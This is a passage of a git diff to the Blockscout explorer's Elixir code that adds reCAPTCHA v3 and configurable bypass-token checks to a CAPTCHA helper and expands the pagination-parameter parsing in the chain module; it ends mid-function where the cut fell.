a/apps/block_scout_web/lib/block_scout_web/captcha_helper.ex +++ b/apps/block_scout_web/lib/block_scout_web/captcha_helper.ex @@ -2,26 +2,165 @@ defmodule BlockScoutWeb.CaptchaHelper do @moduledoc """ A helper for CAPTCHA """ + require Logger - @callback recaptcha_passed?(String.t() | nil) :: bool - @spec recaptcha_passed?(String.t() | nil) :: bool - def recaptcha_passed?(nil), do: false + alias Explorer.{Helper, HttpClient} - def recaptcha_passed?(recaptcha_response) do - re_captcha_secret_key = Application.get_env(:block_scout_web, :re_captcha_secret_key) - body = "secret=#{re_captcha_secret_key}&response=#{recaptcha_response}" + @type token_scope() :: :token_instance_refetch_metadata + + @doc """ + Verifies if the CAPTCHA challenge has been passed based on the provided parameters. + + This function first checks for a bypass token, then handles both reCAPTCHA v3 and v2 + responses, as well as cases where CAPTCHA is disabled. + + ## Parameters + - `params`: A map containing CAPTCHA response parameters or nil. Can include: + * `"recaptcha_bypass_token"` - A token to bypass CAPTCHA verification + * `"recaptcha_v3_response"` - A reCAPTCHA v3 response token + * `"recaptcha_response"` - A reCAPTCHA v2 response token + + ## Returns + - `true` if the CAPTCHA challenge is passed or disabled, or if a valid bypass token is provided. + - `false` if the CAPTCHA challenge fails or an error occurs during verification. + """ + @spec recaptcha_passed?(%{String.t() => String.t()} | nil) :: bool + def recaptcha_passed?(%{"recaptcha_bypass_token" => given_bypass_token}) do + bypass_token = Application.get_env(:block_scout_web, :recaptcha)[:bypass_token] + + if valid_bypass_token?(bypass_token, given_bypass_token) do + Logger.warning("reCAPTCHA bypass token used") + true + else + false + end + end + + def recaptcha_passed?(%{"recaptcha_v3_response" => recaptcha_response}) do + re_captcha_v3_secret_key = Application.get_env(:block_scout_web, :recaptcha)[:v3_secret_key] + do_recaptcha_passed?(re_captcha_v3_secret_key, recaptcha_response) + end + + def recaptcha_passed?(%{"recaptcha_response" => recaptcha_response}) do + re_captcha_v2_secret_key = Application.get_env(:block_scout_web, :recaptcha)[:v2_secret_key] + do_recaptcha_passed?(re_captcha_v2_secret_key, recaptcha_response) + end + + def recaptcha_passed?(_), do: Application.get_env(:block_scout_web, :recaptcha)[:is_disabled] + + @doc """ + Same as recaptcha_passed/1, but with scoped tokens authentication method. + + This function provides two authentication paths: + 1. Scoped bypass token verification - For automated clients accessing + specific endpoints + 2. Standard CAPTCHA verification - Falls back to normal CAPTCHA checks if + scoped token is not provided. + + Scoped bypass tokens are specifically designed for trusted third-party + clients that need programmatic access to certain endpoints (like token + metadata refetching) without solving CAPTCHAs. + + ## Parameters + - `params`: A map that may contain: + * `"scoped_recaptcha_bypass_token"` - A scoped bypass token for trusted + clients + * CAPTCHA verification parameters (for fallback) + - `scope`: atom + + ## Returns + - `true` if either: + * A valid API key is provided for an allowed endpoint + * The CAPTCHA verification succeeds + - `false` otherwise + """ + @spec recaptcha_passed?(%{String.t() => String.t()}, token_scope()) :: boolean() + def recaptcha_passed?(%{"scoped_recaptcha_bypass_token" => given_bypass_token}, scope) do + bypass_token = + Application.get_env( + :block_scout_web, + :recaptcha + )[:scoped_bypass_tokens][scope] + + if valid_bypass_token?(bypass_token, given_bypass_token) do + Logger.warning("reCAPTCHA scoped bypass token used for scope: #{scope}") + true + else + false + end + end + + def recaptcha_passed?(params, _scope), do: recaptcha_passed?(params) + + @spec valid_bypass_token?(String.t(), String.t()) :: boolean() + defp valid_bypass_token?(bypass_token, given_bypass_token) do + is_binary(bypass_token) and bypass_token != "" and given_bypass_token == bypass_token + end + + defp do_recaptcha_passed?(recaptcha_secret_key, recaptcha_response) do + body = "secret=#{recaptcha_secret_key}&response=#{recaptcha_response}" headers = [{"Content-type", "application/x-www-form-urlencoded"}] - case HTTPoison.post("https://www.google.com/recaptcha/api/siteverify", body, headers, []) do - {:ok, %HTTPoison.Response{status_code: 200, body: body}} -> - case Jason.decode!(body) do - %{"success" => true} -> true - _ -> false - end + case !Application.get_env(:block_scout_web, :recaptcha)[:is_disabled] && + HttpClient.post( + "https://www.google.com/recaptcha/api/siteverify", + body, + headers + ) do + {:ok, %{status_code: 200, body: body}} -> + body |> Jason.decode!() |> success?() - _ -> + false -> + true + + error -> + Logger.error("Failed to verify reCAPTCHA: #{inspect(error)}") false end end + + # v3 case + defp success?(%{"success" => true, "score" => score, "hostname" => hostname}) do + unless Helper.get_app_host() == hostname do + Logger.warning("reCAPTCHA v3 Hostname mismatch: #{inspect(hostname)} != #{inspect(Helper.get_app_host())}") + end + + if Helper.get_app_host() == hostname and not check_recaptcha_v3_score(score) do + Logger.warning("reCAPTCHA v3 low score: #{inspect(score)} < #{inspect(score_threshold())}") + end + + (!check_hostname?() || Helper.get_app_host() == hostname) && + check_recaptcha_v3_score(score) + end + + # v2 case + defp success?(%{"success" => true, "hostname" => hostname}) do + unless Helper.get_app_host() == hostname do + Logger.warning("reCAPTCHA v2 Hostname mismatch: #{inspect(hostname)} != #{inspect(Helper.get_app_host())}") + end + + !check_hostname?() || Helper.get_app_host() == hostname + end + + defp success?(resp) do + Logger.error("Failed to verify reCAPTCHA, unexpected response: #{inspect(resp)}") + false + end + + defp check_recaptcha_v3_score(score) do + if score >= score_threshold() do + true + else + false + end + end + + defp check_hostname? do + Application.get_env(:block_scout_web, :recaptcha)[:check_hostname?] + end + + defp score_threshold do + Application.get_env(:block_scout_web, :recaptcha)[:score_threshold] + end end diff --git a/apps/block_scout_web/lib/block_scout_web/chain.ex b/apps/block_scout_web/lib/block_scout_web/chain.ex index d2b4a78ecebe..032e1274bce9 100644 --- a/apps/block_scout_web/lib/block_scout_web/chain.ex +++ b/apps/block_scout_web/lib/block_scout_web/chain.ex @@ -2,57 +2,78 @@ defmodule BlockScoutWeb.Chain do @moduledoc """ Converts the `param` to the corresponding resource that uses that format of param. """ + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] import Explorer.Chain, only: [ - find_or_insert_address_from_hash: 1, hash_to_block: 1, hash_to_transaction: 1, number_to_block: 1, string_to_address_hash: 1, - string_to_block_hash: 1, - string_to_transaction_hash: 1, - token_contract_address_from_token_name: 1 + string_to_full_hash: 1 ] - alias Explorer.Chain.Block.Reward + import Explorer.PagingOptions, + only: [ + default_paging_options: 0, + page_size: 0 + ] + + import BlockScoutWeb.PagingHelper, only: [delete_parameters_from_next_page_params: 1] + + import Explorer.Helper, only: [parse_boolean: 1, parse_integer: 1] + + alias BlockScoutWeb.PagingHelper + alias Ecto.Association.NotLoaded + alias Explorer.Account.{TagAddress, TagTransaction, WatchlistAddress} + alias Explorer.Chain.Beacon.Reader, as: BeaconReader alias Explorer.Chain.{ Address, Address.CoinBalance, Address.CurrentTokenBalance, + Beacon.Blob, Block, + Block.Reward, + Hash, InternalTransaction, Log, + Search, + SmartContract, Token, + Token.Instance, TokenTransfer, Transaction, - Wei + Transaction.StateChange, + UserOperation, + Wei, + Withdrawal } + alias Explorer.Chain.Optimism.Deposit, as: OptimismDeposit + alias Explorer.Chain.Optimism.FrameSequence, as: OptimismFrameSequence + alias Explorer.Chain.Optimism.InteropMessage, as: OptimismInteropMessage + alias Explorer.Chain.Optimism.OutputRoot, as: OptimismOutputRoot + alias Explorer.Chain.Scroll.Bridge, as: ScrollBridge alias Explorer.PagingOptions - defimpl Poison.Encoder, for: Poison.Encoder.Decimal do + defimpl Poison.Encoder, for: Decimal do def encode(value, _opts) do # silence the xref warning - decimal = Poison.Encoder.Decimal + decimal = Decimal [?\", decimal.to_string(value), ?\"] end end - @page_size 50 - @default_paging_options %PagingOptions{page_size: @page_size + 1} + @page_size page_size() + @default_paging_options default_paging_options() @address_hash_len 40 - @tx_block_hash_len 64 - - def default_paging_options do - @default_paging_options - end + @full_hash_len 64 def current_filter(%{paging_options: paging_options} = params) do params - |> Map.get("filter") + |> (&(Map.get(&1, "filter") || Map.get(&1, :filter))).() |> case do "to" -> [direction: :to, paging_options: paging_options] "from" -> [direction: :from, paging_options: paging_options] @@ -62,7 +83,7 @@ defmodule BlockScoutWeb.Chain do def current_filter(params) do params - |> Map.get("filter") + |> (&(Map.get(&1, "filter") || Map.get(&1, :filter))).() |> case do "to" -> [direction: :to] "from" -> [direction: :from] @@ -70,37 +91,77 @@ defmodule BlockScoutWeb.Chain do end end - @spec from_param(String.t()) :: {:ok, Address.t() | Block.t() | Transaction.t()} | {:error, :not_found} + @spec from_param(String.t()) :: + {:ok, Address.t() | Block.t() | Transaction.t() | UserOperation.t() | Blob.t()} | {:error, :not_found} def from_param(param) def from_param("0x" <> number_string = param) when byte_size(number_string) == @address_hash_len, do: address_from_param(param) - def from_param("0x" <> number_string = param) when byte_size(number_string) == @tx_block_hash_len, - do: block_or_transaction_from_param(param) + def from_param("0x" <> number_string = param) when byte_size(number_string) == @full_hash_len, + do: block_or_transaction_or_operation_or_blob_from_param(param) def from_param(param) when byte_size(param) == @address_hash_len, do: address_from_param("0x" <> param) - def from_param(param) when byte_size(param) == @tx_block_hash_len, - do: block_or_transaction_from_param("0x" <> param) - - def from_param(string) when is_binary(string) do - case param_to_block_number(string) do - {:ok, number} -> number_to_block(number) - _ -> token_address_from_name(string) + def from_param(param) when byte_size(param) == @full_hash_len, + do: block_or_transaction_or_operation_or_blob_from_param("0x" <> param) + + if @chain_type == :filecoin do + def from_param(string) when is_binary(string) do + case param_to_block_number(string) do + {:ok, number} -> + number_to_block(number) + + _ -> + case Search.maybe_parse_filecoin_address(string) do + {:ok, filecoin_address} -> + result = + filecoin_address + |> Search.address_by_filecoin_id_or_robust() + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + |> Explorer.Chain.select_repo(api?: true).one() + + (result && {:ok, result}) || {:error, :not_found} + + _ -> + search_ens_domain(string) + end + end + end + else + def from_param(string) when is_binary(string) do + case param_to_block_number(string) do + {:ok, number} -> + number_to_block(number) + + _ -> + search_ens_domain(string) + end end end - def next_page_params([], _list, _params), do: nil + @spec next_page_params(any, list(), map(), (any -> map())) :: nil | map + def next_page_params(next_page, list, params, paging_function \\ &paging_params/1) + + def next_page_params([], _list, _params, _), do: nil + + def next_page_params(_, list, params, paging_function) do + paging_params = paging_function.(List.last(list)) + + string_keys = map_to_string_keys(paging_params) - def next_page_params(_, list, params) do - next_page_params = Map.merge(params, paging_params(List.last(list))) - current_items_count_str = Map.get(next_page_params, "items_count") + next_page_params = + params + |> delete_parameters_from_next_page_params() + |> Map.drop(string_keys) + |> Map.merge(paging_params) + + current_items_count_string = Map.get(next_page_params, "items_count") items_count = - if current_items_count_str do - {current_items_count, _} = Integer.parse(current_items_count_str) + if is_binary(current_items_count_string) do + {current_items_count, _} = Integer.parse(current_items_count_string) current_items_count + Enum.count(list) else Enum.count(list) @@ -109,37 +170,97 @@ defmodule BlockScoutWeb.Chain do Map.put(next_page_params, "items_count", items_count) end - def paging_options(%{"hash" => hash, "fetched_coin_balance" => fetched_coin_balance}) do - with {coin_balance, ""} <- Integer.parse(fetched_coin_balance), - {:ok, address_hash} <- string_to_address_hash(hash) do - [paging_options: %{@default_paging_options | key: {%Wei{value: Decimal.new(coin_balance)}, address_hash}}] - else + @doc """ + Makes Explorer.PagingOptions map. Overloaded by different params in the input map + for different modules using this function. + """ + @spec paging_options(any) :: + [{:paging_options, Explorer.PagingOptions.t()}, ...] | Explorer.PagingOptions.t() + def paging_options(%{ + hash: hash_string, + fetched_coin_balance: fetched_coin_balance_string, + transactions_count: transactions_count_string + }) + when is_binary(hash_string) do + case string_to_address_hash(hash_string) do + {:ok, address_hash} -> + [ + paging_options: %{ + @default_paging_options + | key: %{ + fetched_coin_balance: decimal_parse(fetched_coin_balance_string), + hash: address_hash, + transactions_count: parse_integer(transactions_count_string) + } + } + ] + _ -> [paging_options: @default_paging_options] end end def paging_options(%{ - "address_hash" => address_hash, - "tx_hash" => tx_hash, - "block_hash" => block_hash, - "holder_count" => holder_count, - "name" => name, - "inserted_at" => inserted_at, - "item_type" => item_type + fee: fee_string, + value: value_string, + block_number: block_number_string, + index: index_string, + inserted_at: inserted_at, + hash: hash_string }) do - [ - paging_options: %{ - @default_paging_options - | key: {address_hash, tx_hash, block_hash, holder_count, name, inserted_at, item_type} - } - ] + case string_to_full_hash(hash_string) do + {:ok, hash} -> + [ + paging_options: %{ + @default_paging_options + | key: %{ + fee: decimal_parse(fee_string), + value: decimal_parse(value_string), + block_number: parse_integer(block_number_string), + index: parse_integer(index_string), + inserted_at: inserted_at, + hash: hash + } + } + ] + + _ -> + [paging_options: @default_paging_options] + end end - def paging_options(%{"holder_count" => holder_count, "name" => token_name}) do - case Integer.parse(holder_count) do - {holder_count, ""} -> - [paging_options: %{@default_paging_options | key: {holder_count, token_name}}] + def paging_options( + %{ + "market_cap" => market_cap_string, + "holders_count" => holders_count_string, + "name" => name_string, + "contract_address_hash" => contract_address_hash_string, + "is_name_null" => is_name_null_string + } = params + ) + when is_binary(market_cap_string) and is_binary(holders_count_string) and is_binary(name_string) and + is_binary(contract_address_hash_string) and is_binary(is_name_null_string) do + market_cap_decimal = decimal_parse(market_cap_string) + + fiat_value_decimal = decimal_parse(params["fiat_value"]) + + holders_count = parse_integer(holders_count_string) + token_name = if is_name_null_string == "true", do: nil, else: name_string + + case Hash.Address.cast(contract_address_hash_string) do + {:ok, contract_address_hash} -> + [ + paging_options: %{ + @default_paging_options + | key: %{ + fiat_value: fiat_value_decimal, + circulating_market_cap: market_cap_decimal, + holder_count: holders_count, + name: token_name, + contract_address_hash: contract_address_hash + } + } + ] _ -> [paging_options: @default_paging_options] @@ -150,7 +271,8 @@ defmodule BlockScoutWeb.Chain do "block_number" => block_number_string, "transaction_index" => transaction_index_string, "index" => index_string - }) do + }) + when is_binary(block_number_string) and is_binary(transaction_index_string) and is_binary(index_string) do with {block_number, ""} <- Integer.parse(block_number_string), {transaction_index, ""} <- Integer.parse(transaction_index_string), {index, ""} <- Integer.parse(index_string) do @@ -161,7 +283,116 @@ defmodule BlockScoutWeb.Chain do end end - def paging_options(%{"block_number" => block_number_string, "index" => index_string}) do + def paging_options(%{ + block_number: block_number, + transaction_index: transaction_index, + index: index + }) do + [paging_options: %{@default_paging_options | key: {block_number, transaction_index, index}}] + end + + def paging_options(%{ + "block_number" => block_number_string, + "index" => index_string, + "batch_log_index" => batch_log_index_string, + "batch_block_hash" => batch_block_hash_string, + "batch_transaction_hash" => batch_transaction_hash_string, + "index_in_batch" => index_in_batch_string + }) + when is_binary(block_number_string) and is_binary(index_string) and is_binary(batch_log_index_string) and + is_binary(batch_block_hash_string) and is_binary(batch_transaction_hash_string) and + is_binary(index_in_batch_string) do + with {block_number, ""} <- Integer.parse(block_number_string), + {index, ""} <- Integer.parse(index_string), + {index_in_batch, ""} <- Integer.parse(index_in_batch_string), + {:ok, batch_transaction_hash} <- string_to_full_hash(batch_transaction_hash_string), + {:ok, batch_block_hash} <- string_to_full_hash(batch_block_hash_string), + {batch_log_index, ""} <- Integer.parse(batch_log_index_string) do + [ + paging_options: %{ + @default_paging_options + | key: {block_number, index}, + batch_key: {batch_block_hash, batch_transaction_hash, batch_log_index, index_in_batch} + } + ] + else + _ -> + [paging_options: @default_paging_options] + end + end + + def paging_options(%{ + "batch_log_index" => batch_log_index_string, + "batch_block_hash" => batch_block_hash_string, + "batch_transaction_hash" => batch_transaction_hash_string, + "index_in_batch" => index_in_batch_string + }) + when is_binary(batch_log_index_string) and is_binary(batch_block_hash_string) and + is_binary(batch_transaction_hash_string) and is_binary(index_in_batch_string) do + with {index_in_batch, ""} <- Integer.parse(index_in_batch_string), + {:ok, batch_transaction_hash} <- string_to_full_hash(batch_transaction_hash_string), + {:ok, batch_block_hash} <- string_to_full_hash(batch_block_hash_string), + {batch_log_index, ""} <- Integer.parse(batch_log_index_string) do + [ + paging_options: %{ + @default_paging_options + | batch_key: {batch_block_hash, batch_transaction_hash, batch_log_index, index_in_batch} + } + ] + else + _ -> + [paging_options: @default_paging_options] + end + end + + def paging_options(%{ + block_number: block_number, + index: index, + batch_log_index: batch_log_index, + batch_block_hash: batch_block_hash_string, + batch_transaction_hash: batch_transaction_hash_string, + index_in_batch: index_in_batch + }) + when is_binary(batch_transaction_hash_string) and is_binary(batch_block_hash_string) do + with {:ok, batch_transaction_hash} <- string_to_full_hash(batch_transaction_hash_string), + {:ok, batch_block_hash} <- string_to_full_hash(batch_block_hash_string) do + [ + paging_options: %{ + @default_paging_options + | key: {block_number, index}, + batch_key: {batch_block_hash, batch_transaction_hash, batch_log_index, index_in_batch} + } + ] + else + _ -> + [paging_options: @default_paging_options] + end + end + + def paging_options(%{ + batch_log_index: batch_log_index, + batch_block_hash: batch_block_hash_string, + batch_transaction_hash: batch_transaction_hash_string, + index_in_batch: index_in_batch + }) + when is_binary(batch_block_hash_string) and + is_binary(batch_transaction_hash_string) do + with {:ok, batch_transaction_hash} <- string_to_full_hash(batch_transaction_hash_string), + {:ok, batch_block_hash} <- string_to_full_hash(batch_block_hash_string) do + [ + paging_options: %{ + @default_paging_options + | batch_key: {batch_block_hash, batch_transaction_hash, batch_log_index, index_in_batch} + } + ] + else + _ -> + [paging_options: @default_paging_options] + end + end + + def paging_options(%{"block_number" => block_number_string, "index" => index_string}) + when is_binary(block_number_string) and is_binary(index_string) do with {block_number, ""} <- Integer.parse(block_number_string), {index, ""} <- Integer.parse(index_string) do [paging_options: %{@default_paging_options | key: {block_number, index}}] @@ -171,7 +402,11 @@ defmodule BlockScoutWeb.Chain do end end - def paging_options(%{"block_number" => block_number_string}) do + def paging_options(%{block_number: block_number, index: index}) do + [paging_options: %{@default_paging_options | key: {block_number, index}}] + end + + def paging_options(%{"block_number" => block_number_string}) when is_binary(block_number_string) do case Integer.parse(block_number_string) do {block_number, ""} -> [paging_options: %{@default_paging_options | key: {block_number}}] @@ -181,6 +416,10 @@ defmodule BlockScoutWeb.Chain do end end + def paging_options(%{block_number: block_number}) do + [paging_options: %{@default_paging_options | key: {block_number}}] + end + def paging_options(%{"index" => index_string}) when is_binary(index_string) do case Integer.parse(index_string) do {index, ""} -> @@ -195,16 +434,59 @@ defmodule BlockScoutWeb.Chain do [paging_options: %{@default_paging_options | key: {index}}] end - def paging_options(%{"inserted_at" => inserted_at_string, "hash" => hash_string}) do + def paging_options(%{index: index}) do + [paging_options: %{@default_paging_options | key: {index}}] + end + + def paging_options(%{"nonce" => nonce_string}) when is_binary(nonce_string) do + case Integer.parse(nonce_string) do + {nonce, ""} -> + [paging_options: %{@default_paging_options | key: {nonce}}] + + _ -> + [paging_options: @default_paging_options] + end + end + + def paging_options(%{"number" => number_string}) when is_binary(number_string) do + case Integer.parse(number_string) do + {number, ""} -> + [paging_options: %{@default_paging_options | key: {number}}] + + _ -> + [paging_options: @default_paging_options] + end + end + + def paging_options(%{"nonce" => nonce}) when is_integer(nonce) do + [paging_options: %{@default_paging_options | key: {nonce}}] + end + + def paging_options(%{"number" => number}) when is_integer(number) do + [paging_options: %{@default_paging_options | key: {number}}] + end + + def paging_options(%{"inserted_at" => inserted_at_string, "hash" => hash_string}) + when is_binary(inserted_at_string) and is_binary(hash_string) do with {:ok, inserted_at, _} <- DateTime.from_iso8601(inserted_at_string), - {:ok, hash} <- string_to_transaction_hash(hash_string) do - [paging_options: %{@default_paging_options | key: {inserted_at, hash}, is_pending_tx: true}] + {:ok, hash} <- string_to_full_hash(hash_string) do + [paging_options: %{@default_paging_options | key: {inserted_at, hash}, is_pending_transaction: true}] else _ -> [paging_options: @default_paging_options] end end + def paging_options(%{inserted_at: inserted_at, hash: hash_string}) when is_binary(hash_string) do + case string_to_full_hash(hash_string) do + {:ok, hash} -> + [paging_options: %{@default_paging_options | key: {inserted_at, hash}, is_pending_transaction: true}] + + _ -> + [paging_options: @default_paging_options] + end + end + def paging_options(%{"token_name" => name, "token_type" => type, "token_inserted_at" => inserted_at}), do: [paging_options: %{@default_paging_options | key: {name, type, inserted_at}}] @@ -212,8 +494,161 @@ defmodule BlockScoutWeb.Chain do [paging_options: %{@default_paging_options | key: {value, address_hash}}] end - def paging_options(%{"token_name" => name, "token_type" => type, "value" => value}) do - [paging_options: %{@default_paging_options | key: {name, type, value}}] + def paging_options(%{"fiat_value" => fiat_value_string, "value" => value_string, "id" => id_string}) + when is_binary(fiat_value_string) and is_binary(value_string) and is_binary(id_string) do + with {id, ""} <- Integer.parse(id_string), + {value, ""} <- Decimal.parse(value_string), + {_id, _value, {fiat_value, ""}} <- {id, value, Decimal.parse(fiat_value_string)} do + [paging_options: %{@default_paging_options | key: {fiat_value, value, id}}] + else + {id, value, :error} -> + [paging_options: %{@default_paging_options | key: {nil, value, id}}] + + _ -> + [paging_options: @default_paging_options] + end + end + + def paging_options(%{fiat_value: fiat_value_string, value: value_string, id: id}) + when is_binary(fiat_value_string) and is_binary(value_string) do + with {value, ""} <- Decimal.parse(value_string), + {_id, _value, {fiat_value, ""}} <- {id, value, Decimal.parse(fiat_value_string)} do + [paging_options: %{@default_paging_options | key: {fiat_value, value, id}}] + else + {id, value, :error} -> + [paging_options: %{@default_paging_options | key: {nil, value, id}}] + + _ -> + [paging_options: @default_paging_options] + end + end + + def paging_options(%{"value" => value_string, "id" => id_string}) + when is_binary(value_string) and is_binary(id_string) do + with {id, ""} <- Integer.parse(id_string), + {value, ""} <- Decimal.parse(value_string) do + [paging_options: %{@default_paging_options | key: {nil, value, id}}] + else + _ -> + [paging_options: @default_paging_options] + end + end + + def paging_options(%{"items_count" => items_count_string, "state_changes" => _}) when is_binary(items_count_string) do + case Integer.parse(items_count_string) do + {count, ""} -> [paging_options: %{@default_paging_options | key: {count}}] + _ -> @default_paging_options + end + end + + def paging_options(%{"l1_block_number" => block_number, "transaction_hash" => transaction_hash}) do + with {block_number, ""} <- Integer.parse(block_number), + {:ok, transaction_hash} <- string_to_full_hash(transaction_hash) do + [paging_options: %{@default_paging_options | key: {block_number, transaction_hash}}] + else + _ -> + [paging_options: @default_paging_options] + end + end + + # clause for pagination of entities: + # - Account's entities + # - Optimism frame sequences + # - Polygon Edge Deposits + # - Polygon Edge Withdrawals + # - Arbitrum cross chain messages + # - Scroll cross chain messages + def paging_options(%{"id" => id_string}) when is_binary(id_string) do + case Integer.parse(id_string) do + {id, ""} -> + [paging_options: %{@default_paging_options | key: {id}}] + + _ -> + [paging_options: @default_paging_options] + end + end + + def paging_options(%{"timestamp" => timestamp, "init_transaction_hash" => init_transaction_hash}) do + with {ts, ""} <- Integer.parse(timestamp), + {:ok, transaction_hash} <- string_to_full_hash(init_transaction_hash) do + [paging_options: %{@default_paging_options | key: {ts, transaction_hash}}] + else + _ -> + [paging_options: @default_paging_options] + end + end + + # clause for pagination of entities: + # - Account's entities + # - Optimism frame sequences + # - Polygon Edge Deposits + # - Polygon Edge Withdrawals + # - Arbitrum cross chain messages + # - Scroll cross chain messages + def paging_options(%{"id" => id}) when is_integer(id) do + [paging_options: %{@default_paging_options | key: {id}}] + end + + def paging_options(%{ + token_contract_address_hash: token_contract_address_hash, + token_id: token_id, + token_type: token_type + }) do + [paging_options: %{@default_paging_options | key: {token_contract_address_hash, token_id, token_type}}] + end + + def paging_options(%{token_contract_address_hash: token_contract_address_hash, token_type: token_type}) do + [paging_options: %{@default_paging_options | key: {token_contract_address_hash, token_type}}] + end + + # Clause for `Explorer.Chain.Stability.Validator`, + # returned by `BlockScoutWeb.API.V2.ValidatorController.stability_validators_list/2` (`/api/v2/validators/stability`) + def paging_options(%{ + "state" => state, + "address_hash" => address_hash_string, + "blocks_validated" => blocks_validated_string + }) do + [ + paging_options: %{ + @default_paging_options + | key: %{ + address_hash: parse_address_hash(address_hash_string), + blocks_validated: parse_integer(blocks_validated_string), + state: if(state in PagingHelper.allowed_stability_validators_states(), do: state) + } + } + ] + end + + # Clause for InternalTransaction by block: + # returned by `BlockScoutWeb.API.V2.BlockController.internal_transactions/2` (`/api/v2/blocks/:block_hash_or_number/internal-transactions`) + def paging_options(%{"block_index" => index_string}) when is_binary(index_string) do + case Integer.parse(index_string) do + {index, ""} -> + [paging_options: %{@default_paging_options | key: %{block_index: index}}] + + _ -> + [paging_options: @default_paging_options] + end + end + + def paging_options(%{"block_index" => index}) when is_integer(index) do + [paging_options: %{@default_paging_options | key: %{block_index: index}}] + end + + # Clause for `Explorer.Chain.Blackfort.Validator`, + # returned by `BlockScoutWeb.API.V2.ValidatorController.blackfort_validators_list/2` (`/api/v2/validators/blackfort`) + def paging_options(%{ + "address_hash" => address_hash_string + }) do + [ + paging_options: %{ + @default_paging_options + | key: %{ + address_hash: parse_address_hash(address_hash_string) + } + } + ] end def paging_options(_params), do: [paging_options: @default_paging_options] @@ -232,12 +667,18 @@ defmodule BlockScoutWeb.Chain do end end + def fetch_page_number(%{"items_count" => items_count_str}) do + {items_count, _} = Integer.parse(items_count_str) + div(items_count, @page_size) + 1 + end + def fetch_page_number(_), do: 1 def update_page_parameters(new_page_number, new_page_size, %PagingOptions{} = options) do %PagingOptions{options | page_number: new_page_number, page_size: new_page_size} end + @spec param_to_block_number(binary()) :: {:ok, integer()} | {:error, :invalid} def param_to_block_number(formatted_number) when is_binary(formatted_number) do case Integer.parse(formatted_number) do {number, ""} -> {:ok, number} @@ -245,17 +686,24 @@ defmodule BlockScoutWeb.Chain do end end - def param_to_block_timestamp(timestamp_string) when is_binary(timestamp_string) do - case Integer.parse(timestamp_string) do - {temstamp_int, ""} -> - timestamp = - temstamp_int - |> DateTime.from_unix!(:second) + @doc """ + Converts a timestamp string to a `DateTime.t()` struct for block timestamp + queries. - {:ok, timestamp} + ## Parameters + - `timestamp_string`: A string containing a Unix timestamp in seconds - _ -> - {:error, :invalid_timestamp} + ## Returns + - `{:ok, DateTime.t()}` if the timestamp is valid and can be converted + - `{:error, :invalid_timestamp}` if the timestamp is invalid or out of range + """ + @spec param_to_block_timestamp(String.t()) :: {:ok, DateTime.t()} | {:error, :invalid_timestamp} + def param_to_block_timestamp(timestamp_string) when is_binary(timestamp_string) do + with {timestamp_int, ""} <- Integer.parse(timestamp_string), + {:ok, timestamp} <- DateTime.from_unix(timestamp_int, :second) do + {:ok, timestamp} + else + _ -> {:error, :invalid_timestamp} end end @@ -269,33 +717,91 @@ defmodule BlockScoutWeb.Chain do def split_list_by_page(list_plus_one), do: Enum.split(list_plus_one, @page_size) + defp decimal_parse(input_string) do + case Decimal.parse(input_string) do + {decimal, ""} -> decimal + _ -> nil + end + end + defp address_from_param(param) do case string_to_address_hash(param) do {:ok, hash} -> - find_or_insert_address_from_hash(hash) + {:ok, %Address{hash: hash}} :error -> {:error, :not_found} end end - defp token_address_from_name(name) do - case token_contract_address_from_token_name(name) do - {:ok, hash} -> find_or_insert_address_from_hash(hash) - _ -> {:error, :not_found} + defp search_ens_domain(search_query) do + case Search.search_ens_name_in_bens(search_query) do + nil -> + {:error, :not_found} + + {result, _address_hash} -> + {:ok, result} end end - defp paging_params({%Address{hash: hash, fetched_coin_balance: fetched_coin_balance}, _}) do - %{"hash" => hash, "fetched_coin_balance" => Decimal.to_string(fetched_coin_balance.value)} + defp parse_address_hash(address_hash_string) do + case Hash.Address.cast(address_hash_string) do + {:ok, address_hash} -> address_hash + _ -> nil + end + end + + defp paging_params(%Address{ + hash: hash, + fetched_coin_balance: fetched_coin_balance, + transactions_count: transactions_count + }) do + %{ + hash: hash, + fetched_coin_balance: fetched_coin_balance && Wei.to(fetched_coin_balance, :wei), + transactions_count: transactions_count + } + end + + defp paging_params(%Token{ + contract_address_hash: contract_address_hash, + circulating_market_cap: circulating_market_cap, + holder_count: holders_count, + name: token_name, + fiat_value: fiat_value + }) do + %{ + "market_cap" => circulating_market_cap, + "holders_count" => holders_count, + "contract_address_hash" => contract_address_hash, + "name" => token_name, + "is_name_null" => is_nil(token_name), + "fiat_value" => fiat_value + } + end + + defp paging_params({%Token{} = token, _}) do + paging_params(token) + end + + defp paging_params(%OptimismFrameSequence{id: id}) do + %{"id" => id} + end + + defp paging_params(%TagAddress{id: id}) do + %{"id" => id} end - defp paging_params(%Token{holder_count: holder_count, name: token_name}) do - %{"holder_count" => holder_count, "name" => token_name} + defp paging_params(%TagTransaction{id: id}) do + %{"id" => id} end - defp paging_params([%Token{holder_count: holder_count, name: token_name}, _]) do - %{"holder_count" => holder_count, "name" => token_name} + defp paging_params(%WatchlistAddress{id: id}) do + %{"id" => id} + end + + defp paging_params([%Token{} = token, _]) do + paging_params(token) end defp paging_params({%Reward{block: %{number: number}}, _}) do @@ -303,20 +809,16 @@ defmodule BlockScoutWeb.Chain do end defp paging_params(%Block{number: number}) do - %{"block_number" => number} + %{block_number: number} end defp paging_params(%InternalTransaction{index: index, transaction_hash: transaction_hash}) do {:ok, %Transaction{block_number: block_number, index: transaction_index}} = hash_to_transaction(transaction_hash) - %{"block_number" => block_number, "transaction_index" => transaction_index, "index" => index} + %{block_number: block_number, transaction_index: transaction_index, index: index} end - defp paging_params(%Log{index: index} = log) do - if Ecto.assoc_loaded?(log.transaction) do - %{"block_number" => log.transaction.block_number, "transaction_index" => log.transaction.index, "index" => index} - else - %{"index" => index} - end + defp paging_params(%Log{index: index, block_number: block_number}) do + %{block_number: block_number, index: index} end defp paging_params(%Transaction{block_number: nil, inserted_at: inserted_at, hash: hash}) do @@ -328,7 +830,7 @@ defmodule BlockScoutWeb.Chain do end defp paging_params(%TokenTransfer{block_number: block_number, log_index: index}) do - %{"block_number" => block_number, "index" => index} + %{block_number: block_number, index: index} end defp paging_params(%Address.Token{name: name, type: type, inserted_at: inserted_at}) do @@ -341,59 +843,222 @@ defmodule BlockScoutWeb.Chain do %{"address_hash" => to_string(address_hash), "value" => Decimal.to_integer(value)} end - defp paging_params({%CurrentTokenBalance{value: value}, %Token{name: name, type: type}}) do - %{"token_name" => name, "token_type" => type, "value" => Decimal.to_integer(value)} + defp paging_params(%CoinBalance{block_number: block_number}) do + 